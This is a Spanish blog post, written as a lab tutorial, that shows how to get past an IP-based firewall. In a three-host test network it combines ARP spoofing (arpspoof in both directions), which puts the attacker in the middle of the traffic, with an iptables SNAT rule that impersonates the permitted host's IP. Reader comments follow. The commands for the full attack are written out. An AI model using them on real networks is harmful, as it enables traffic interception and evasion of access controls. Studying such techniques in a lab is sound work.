miércoles, 2 de marzo de 2011

Esquivando Firewalls con Smart Spoofing

Vamos a ver el uso de arp spoofing e iptables para burlar un firewall basado en IP mediante la técnica de Man in the Middle.

Escenario:
Fg1. Escenario de red
La red está configurada como vemos:

  • Red 10.10.10.x 
    • Odenador Verde con Ip permitida para salir hacia 172.12.x.x
    • Ordenador Rojo. Ip rechazada en el firewall de la puerta de enlace
    • Azul: Puerta de enlace y firewall. Comunica las redes 10.10.10.x y 172.12.x.x
  • Red 172.16.x.x
    • Servidor 172.16.61.1, mundo exterior a la red 10
Configuración:

En la puerta de enlace  configuraremos NAT (1)  y activaremos el reenvío de paquetes (2):


# iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-source 172.16.61.136                         (1)
# echo 1 > /proc/sys/net/ipv4/ip_forward                                                                                         (2)

En la máquina verde y roja como la puerta predeterminada fijaremos el ordenador azul:

# route add default gw 10.10.10.1

Nota: recuerda que el comando de arriba hay que introducirlo en ambos ordenadores  verde y rojo

De esta forma ambos, verde y rojo  llegan a 172.16.61.1 a través de azul:

Fig2. Antes de establecer las reglas de firewall en azul, tanto rojo como verde llegan a 172.16.61.1
Ahora haremos que la puerta no deje pasar en el mundo los paquetes que proceden del ordenador rojo

Para ello en la puerta de enlace introducimos el comando:

# iptables -A FORWARD -s 10.10.10.102 -j REJECT

Comprobamos que el comando consiguió el resultado , impidiendo que rojo llegue al servidor 172.16.61.1:
Fig3. Rojo, con ip 10.10.10.102, no llega al servidor debido a la regla del firewall
Ataque SmartSpoofing:

El ataque estará compuesto de dos elementos:
  1.  Primero realizaremos un  arp spoofing, para hacer un Man in The Middle y  el tráfico de red entre el verde y la puerta de enlace/firewall pase a través del ordenador de rojo
  2. Luego configuraremos iptables en el ordenador rojo para que los paquetes salientes del rojo tengan cabeceras convertidas con  la dirección IP del ordenador verde y así sean permitidos en el firewall tanto de entrada como de salida (NAT)
1. Arp Spoofing y Man in the Middle:



En el ordenador rojo activamos el reenvío de paquetes:

# echo 1 > /proc/sys/net/ipv4/ip_forward 

 # iptables -A OUTPUT -p icmp --icmp-type host-redirect -j DROP
Empieza arp spoofing. Tenemos que engañar tanto a verde como a la puerta de enlace
El el ordenador ROJO:

  • En la una consola (alt+F1) introducimos el comando para spoofear a puerta de enlace  y le hacemos creer que el rojo es el verde:
                                       # arpspoof -t 10.10.10.1 10.10.10.101 

  • En la segunda consola (alt+F2), spoofeamos a verde haciéndole creer que rojo es el gateway:

                                       # arpspoof -t 10.10.10.101 10.10.10.1

Ahora todo el tráfico pasa por rojo spoofeando las tablas ARP de verde y gateway:
Fig4. Man in the Middle con arp spoofing


Bien, una vez conseguido hacer creer al firewall que el ordenador rojo es  el verde, fijaremos una regla iptables en el  rojo para que sus paquetes (propios, no redirigidos)  salgan con la ip del verde y nos sean devueltos. Esto es necesario porque el gateway hace NAT y que solo permite la ip del verde con lo cual al regresar el tráfico y deshacer el NAT lo traducirá de nuevo a la IP del verde lo que nos obliga a utilizar esa misma IP si queremos recibir el tráfico de retorno.

2. Iptables para gestionar el tráfico propio de rojo y redirigir el de verde:

Debemos de manera respectiva configurar iptables en el ordenador rojo para que modifique la dirección del remitente en los paquetes salientes y distinga  entre los paquetes entrantes los propios y los reenvío.

Afortunadamente, este asunto complicado se arregla con un simple comando:

# iptables -t nat -A POSTROUTING -j SNAT --to-source 10.10.10.101

Y ya está, hemos realizado el smart spoofing y ahora tanto rojo como verde pueden mandar y recibir tráfico desde 172.16.x.x, quedando la cosa asi:
Fig 5-Situación Final. Evitando firewall


Saludos del lobobonario!!

3 comentarios:

  1. interesante, buen blog, lo visitaré mas seguido

    ResponderEliminar
  2. Gracias, intentaré actualizarlo más a menudo

    ResponderEliminar
  3. Muy interesante....

    Pero el switch no juega tambien un papel para redirigir los paquetes?,

    podrias mostrar una topologia mas compleja, donde el ataquete este desde fuera de la red interna.... o conoces un link ?

    De todas maneras, muchas gracias

    ResponderEliminar